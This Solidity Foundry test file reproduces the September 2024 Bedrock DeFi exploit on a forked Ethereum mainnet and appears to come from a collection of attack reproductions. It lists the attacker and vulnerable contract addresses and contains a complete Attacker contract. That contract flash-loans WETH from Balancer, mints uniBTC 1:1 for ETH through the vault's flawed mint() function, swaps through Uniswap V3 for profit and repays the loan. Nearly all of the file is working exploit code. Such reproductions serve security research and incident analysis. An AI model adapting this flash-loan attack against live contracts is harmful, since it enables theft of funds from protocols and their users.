src/test/2024-09/Bedrock_DeFi_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~1.7M US$
8// Attacker : https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96
9// Attack Contract : https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB
10// Created Attack Contract: https://etherscan.io/address/0x1E1d02D663228e5D47f1De64030B39632A3B787D
11// Vulnerable Contract : https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da
12// Attack Tx : https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940
13 
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
16// L2417-2420, mint() function
17 
18// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
19 
20// Contrasts involved
21address constant uniBTC = 0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;
22address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
23address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
24address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
25address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
26 
27// Implementation: https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
28address constant VulVault = 0x047D41F2544B7F63A8e991aF2068a363d210d6Da;
29 
30contract Bedrock_DeFi_exp is Test {
31    address attacker = makeAddr("attacker");
32    Attacker attackerC;
33 
34    function setUp() public {
35        vm.createSelectFork("mainnet", 20_836_584 - 1);
36    }
37 
38    function testPoCMinimal() public {
39        // Borrow 200 ether to the attacker
40        vm.deal(attacker, 200e18);
41 
42        // The attacker mint 200 ETH to 200 uniBTC
43        vm.startPrank(attacker);
44        IFS(VulVault).mint{value: 200e18}();
45 
46        // The attacker received 200 uniBTC(~BTC) for 200 ETH
47        console.log("Final balance in uniBTC :", IFS(uniBTC).balanceOf(attacker));
48    }
49 
50    function testPoCReplicate() public {
51        vm.startPrank(attacker);
52        attackerC = new Attacker();
53 
54        attackerC.attack();
55 
56        console.log("Final balance in WETH :", IFS(weth).balanceOf(attacker));
57    }
58}
59 
60contract Attacker {
61    address txSender;
62 
63    function attack() external {
64        txSender = msg.sender;
65 
66        IFS(uniBTC).approve(uniV3Router, type(uint256).max);
67        IFS(WBTC).approve(uniV3Router, type(uint256).max);
68 
69        address[] memory tokens = new address[](1);
70        tokens[0] = weth;
71        uint256[] memory amounts = new uint256[](1);
72        amounts[0] = 30_800_000_000_000_000_000;
73        IFS(balancerVault).flashLoan(address(this), tokens, amounts, "");
74    }
75 
76    function receiveFlashLoan(
77        address[] memory tokens,
78        uint256[] memory amounts,
79        uint256[] memory feeAmounts,
80        bytes memory userData
81    ) external {
82        IFS(weth).withdraw(amounts[0]);
83        IFS(VulVault).mint{value: address(this).balance}();
84        uint256 bal_uniBTC = IFS(uniBTC).balanceOf(address(this));
85 
86        IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams(
87            uniBTC, // address tokenIn;
88            WBTC, // address tokenOut;
89            500, // uint24 fee;
90            address(this), // address recipient;
91            block.timestamp, // uint256 deadline;
92            bal_uniBTC, // uint256 amountIn;
93            0, // uint256 amountOutMinimum;
94            0 // uint160 sqrtPriceLimitX96;
95        );
96 
97        IFS(uniV3Router).exactInputSingle(input);
98 
99        uint256 balWBTC = IFS(WBTC).balanceOf(address(this));
100 
101        input = IFS.ExactInputSingleParams(
102            WBTC, // address tokenIn;
103            weth, // address tokenOut;
104            500, // uint24 fee;
105            address(this), // address recipient;
106            block.timestamp, // uint256 deadline;
107            balWBTC, // uint256 amountIn;
108            0, // uint256 amountOutMinimum;
109            0 // uint160 sqrtPriceLimitX96;
110        );
111 
112        IFS(uniV3Router).exactInputSingle(input);
113        IFS(weth).transfer(balancerVault, amounts[0]);
114 
115        uint256 bal_weth = IFS(weth).balanceOf(address(this));
116        IFS(weth).transfer(txSender, bal_weth);
117    }
118 
119    receive() external payable {}
120}
121 
122interface IFS is IERC20 {
123    // balancerVault
124    function flashLoan(
125        address recipient,
126        address[] memory tokens,
127        uint256[] memory amounts,
128        bytes memory userData
129    ) external;
130 
131    // WETH
132    function withdraw(
133        uint256 wad
134    ) external;
135 
136    // Vulnerable Vault
137    function mint() external payable;
138 
139    // Uniswap V3: SwapRouter
140    struct ExactInputSingleParams {
141        address tokenIn;
142        address tokenOut;
143        uint24 fee;
144        address recipient;
145        uint256 deadline;
146        uint256 amountIn;
147        uint256 amountOutMinimum;
148        uint160 sqrtPriceLimitX96;
149    }
150 
151    function exactInputSingle(
152        ExactInputSingleParams calldata params
153    ) external payable returns (uint256 amountOut);
154}